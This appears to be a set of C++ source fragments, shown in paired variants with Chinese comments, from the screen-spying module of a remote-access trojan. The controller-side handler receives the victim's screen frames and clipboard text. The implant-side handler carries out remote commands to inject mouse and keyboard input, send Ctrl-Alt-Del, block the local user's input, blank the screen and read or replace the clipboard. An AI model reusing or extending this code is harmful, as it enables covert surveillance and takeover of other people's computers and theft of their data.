void CScreenSpyDlg::OnReceiveComplete() { m_nCount++; switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_FIRSTSCREEN: DrawFirstScreen(); break; case TOKEN_NEXTSCREEN: if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN) DrawNextScreenRect(); else DrawNextScreenDiff(); break; case TOKEN_BITMAPINFO: ResetScreen(); break; case TOKEN_CLIPBOARD_TEXT: UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); break; default: // 传输发生异常数据 return; } }
void CScreenSpyDlg::OnReceiveComplete(void) { m_nCount++; switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_FIRSTSCREEN: { DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义 break; } case TOKEN_NEXTSCREEN: { if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_DIFF) //我们可以在这里使用不同的算法 DrawNextScreenDiff(); //这里是第二帧之后的数据了 break; } case TOKEN_CLIPBOARD_TEXT: //获取被控端的剪切板数据 { UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); break; } default: // 传输发生异常数据 return; } }
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { try { switch (lpBuffer[0]) { case COMMAND_NEXT: // 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回 NotifyDialogIsOpen(); break; case COMMAND_SCREEN_RESET: ResetScreen(*(LPBYTE)&lpBuffer[1]); break; case COMMAND_ALGORITHM_RESET: m_bAlgorithm = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setAlgorithm(m_bAlgorithm); break; case COMMAND_SCREEN_CTRL_ALT_DEL: ::SimulateCtrlAltDel(); break; case COMMAND_SCREEN_CONTROL: { typedef BOOL (WINAPI *BlockInputT) ( BOOL fBlockIt ); BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput"); // 远程仍然可以操作 pBlockInput(false); ProcessCommand(lpBuffer + 1, nSize - 1); pBlockInput(m_bIsBlockInput); } break; case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定 m_bIsBlockInput = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_BLANK: m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_CAPTURE_LAYER: m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer); break; case COMMAND_SCREEN_GET_CLIPBOARD: SendLocalClipboard(); break; case COMMAND_SCREEN_SET_CLIPBOARD: UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1); break; default: break; } }catch(...){} }
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { try { switch (lpBuffer[0]) { case COMMAND_NEXT: NotifyDialogIsOpen(); break; case COMMAND_SCREEN_RESET: ResetScreen(*(LPBYTE)&lpBuffer[1]); break; case COMMAND_ALGORITHM_RESET: m_bAlgorithm = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setAlgorithm(m_bAlgorithm); break; case COMMAND_SCREEN_CTRL_ALT_DEL: ::SimulateCtrlAltDel(); break; case COMMAND_SCREEN_CONTROL: { BlockInput(false); ProcessMouseAndKeyCommand(lpBuffer + 1, nSize - 1); BlockInput(m_bIsBlockInput); } break; case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定 m_bIsBlockInput = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_BLANK: m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_CAPTURE_LAYER: m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer); break; case COMMAND_SCREEN_GET_CLIPBOARD: SendLocalClipboard(); break; case COMMAND_SCREEN_SET_CLIPBOARD: UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1); break; default: break; } }catch(...){} }